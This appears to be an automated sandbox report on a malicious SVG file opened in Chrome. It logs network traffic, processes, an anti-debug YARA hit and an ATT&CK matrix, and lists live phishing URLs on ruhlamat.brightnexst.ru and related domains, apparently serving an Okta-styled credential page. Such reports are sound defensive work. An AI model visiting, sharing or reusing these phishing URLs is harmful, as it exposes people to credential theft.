Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.185.100:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.81:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.81:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.141:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.188:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.188:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49822 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6464_853086790

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6464_853086790

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winSVG@25/82@46/23

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2364,i,764256773241879780,15368156389285532896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2396 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\7274442614.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2364,i,764256773241879780,15368156389285532896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2396 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.4.d.script.csv, type: HTML
Source: Yara match	File source: 3.14..script.csv, type: HTML
Source: Yara match	File source: 3.15..script.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7274442614.svg	2%	Virustotal		Browse

Source	Detection	Scanner	Label
https://ruhlamat.brightnexst.ru/34H9Hmi2CBmkRWQZsuLXGbWkll8ZDdajZr67110	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/GDSherpa-bold.woff2	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/mnvoI3jENylyQfjRcA5vH8xwSMhVPXDuvIEvPI1x5f9ROzl178145	100%	Avira URL Cloud	phishing
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqlpiRP2MHoiE34DmfNiuv40	0%	Avira URL Cloud	safe
https://ruhlamat.brightnexst.ru/hduU8spnEoO9ZYfUO0wu63kjzooF7mnL3dwOCWVUS1TdK0PeEYzlc	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/oppt631SaDeaZiF9PYR7ck0nYyPhzuGXsw6FjvKUstxERZxtS8Ux3DlG6PFsyZ6bhaXcd240	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/ijQimRjvEIEw9yIUdYsBmw6ZbWvqrwMQaqS9oDEx5NauoRJxDSeg2yaTRjyz228	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/GDSherpa-regular.woff2	100%	Avira URL Cloud	phishing
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqSDZd1IUlwpdThV34JGwx38	0%	Avira URL Cloud	safe
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrsMnFaALSjyzF1MPRM9wx40	0%	Avira URL Cloud	safe
https://fobf2.qxwhvv.ru/gando!js8tp4k	0%	Avira URL Cloud	safe
https://ruhlamat.brightnexst.ru/wxA8tGXS8USTA11kbQFNeTbOjwoppTu7enAWm5T12130	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/rslQ61QJXERF5SHVAjdq4SWGMobrl3KkkUDhoijsszZ9jsq5iRpj3F72fp3xcd200	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/125ieYh7HUVa8cdTlZ458920	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/pax6lf1/	100%	Avira URL Cloud	phishing
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrsLWhEQvrYSwn6Myz8CKuv40	0%	Avira URL Cloud	safe
https://ruhlamat.brightnexst.ru/wxoM5So7vqYwNWtLzBGFFL5M0ymncgVrfiaPakgiU5Dab180	100%	Avira URL Cloud	phishing
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrscb0gw934npILwx34	0%	Avira URL Cloud	safe
https://ruhlamat.brightnexst.ru/GDSherpa-regular.woff	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/GDSherpa-bold.woff	100%	Avira URL Cloud	phishing
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrs8j7nQAKBBl12sJW4Owx39	0%	Avira URL Cloud	safe
https://ruhlamat.brightnexst.ru/GDSherpa-vf2.woff2	100%	Avira URL Cloud	phishing
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqMeibuqaIIi6X12DrhDLkKwx40	0%	Avira URL Cloud	safe
https://ruhlamat.brightnexst.ru/klRWqE1dKIodhWl4TpdaxFJijhYuapwgllaKZfmtQJkSm0tLq8uv214	100%	Avira URL Cloud	phishing
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqiustAKjhbPSPBZ34Fjuv40	0%	Avira URL Cloud	safe
https://ruhlamat.brightnexst.ru/opWaiTCMaxXhMYuMuKq4fyg9efmoN09n7uh9VoFQr45139	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/ijroFnG3M60J3FhNqOM0FGt8JF3y59e2lJkLklr1EsoLL8YoDCMTx8tUgChmhe8g12209	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/GDSherpa-vf.woff2	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/uvLvmC7l9w6480rnXql6LUVFUbTd0WjQdeb8poxJQbYUmnIyfJrvMhrwlvuHTsXAZqdgh260	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/favicon.ico	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/kfgf9NVduennDi1yqDND8qxTJhYwqYeNbTZluQbAplgy	100%	Avira URL Cloud	phishing
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrsQltPvjcyzmSO1uv32	0%	Avira URL Cloud	safe
https://ruhlamat.brightnexst.ru/nmRYy4ssaQWPj7CPMYEm8BmTefH6bqt1U8Yw5	100%	Avira URL Cloud	phishing
https://ruhlamat.brightnexst.ru/abbk3UUlyibKbrswXgh27	100%	Avira URL Cloud	phishing

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.6.189	true	false	high
mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es	172.67.189.188	true	false	unknown
github.com	140.82.121.4	true	false	high
a7hz6ilpu3.woofradio.cfd	104.21.2.147	true	false	unknown
fobf2.qxwhvv.ru	188.114.97.3	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
get.geojs.io	104.26.1.100	true	false	high
www.google.com	142.250.185.100	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.120	true	false	high
ruhlamat.brightnexst.ru	172.67.146.141	true	true	unknown
objects.githubusercontent.com	185.199.111.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://a.nel.cloudflare.com/report/v4?s=teqook06zvhvkJIXYr9iQdZM3%2Bqd69ogdPFPqlIG8u759y58AtxIFsPnJ0WtLvAY4UKYi0f0NvdgF%2BjMjuiwtt0cWjaSGxdBgwGlnhWMxEZgWGQNhbQRE67tTWXm	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqSDZd1IUlwpdThV34JGwx38	false	Avira URL Cloud: safe	unknown
https://ruhlamat.brightnexst.ru/34H9Hmi2CBmkRWQZsuLXGbWkll8ZDdajZr67110	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/oppt631SaDeaZiF9PYR7ck0nYyPhzuGXsw6FjvKUstxERZxtS8Ux3DlG6PFsyZ6bhaXcd240	false	Avira URL Cloud: phishing	unknown
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqlpiRP2MHoiE34DmfNiuv40	false	Avira URL Cloud: safe	unknown
https://ruhlamat.brightnexst.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/hduU8spnEoO9ZYfUO0wu63kjzooF7mnL3dwOCWVUS1TdK0PeEYzlc	false	Avira URL Cloud: phishing	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrsMnFaALSjyzF1MPRM9wx40	false	Avira URL Cloud: safe	unknown
https://ruhlamat.brightnexst.ru/ijQimRjvEIEw9yIUdYsBmw6ZbWvqrwMQaqS9oDEx5NauoRJxDSeg2yaTRjyz228	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/mnvoI3jENylyQfjRcA5vH8xwSMhVPXDuvIEvPI1x5f9ROzl178145	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://a.nel.cloudflare.com/report/v4?s=4%2BYi7pUAZ27jNE1fCFF2bDosCPJxLHiH2V5zj6br%2FSdx1QCRsOGfPPaB0xknq00n5dVB4DYh3kWD02iHz9HSSkLQtnJETJJWp9Qntiq4uWUzCIETrKD6%2FPhwd6wS	false		high
https://fobf2.qxwhvv.ru/gando!js8tp4k	false	Avira URL Cloud: safe	unknown
https://ruhlamat.brightnexst.ru/wxA8tGXS8USTA11kbQFNeTbOjwoppTu7enAWm5T12130	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/GDSherpa-bold.woff	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/pax6lf1/	true	Avira URL Cloud: phishing	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high
https://ruhlamat.brightnexst.ru/rslQ61QJXERF5SHVAjdq4SWGMobrl3KkkUDhoijsszZ9jsq5iRpj3F72fp3xcd200	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/wxoM5So7vqYwNWtLzBGFFL5M0ymncgVrfiaPakgiU5Dab180	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/125ieYh7HUVa8cdTlZ458920	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/GDSherpa-regular.woff	false	Avira URL Cloud: phishing	unknown
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrscb0gw934npILwx34	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
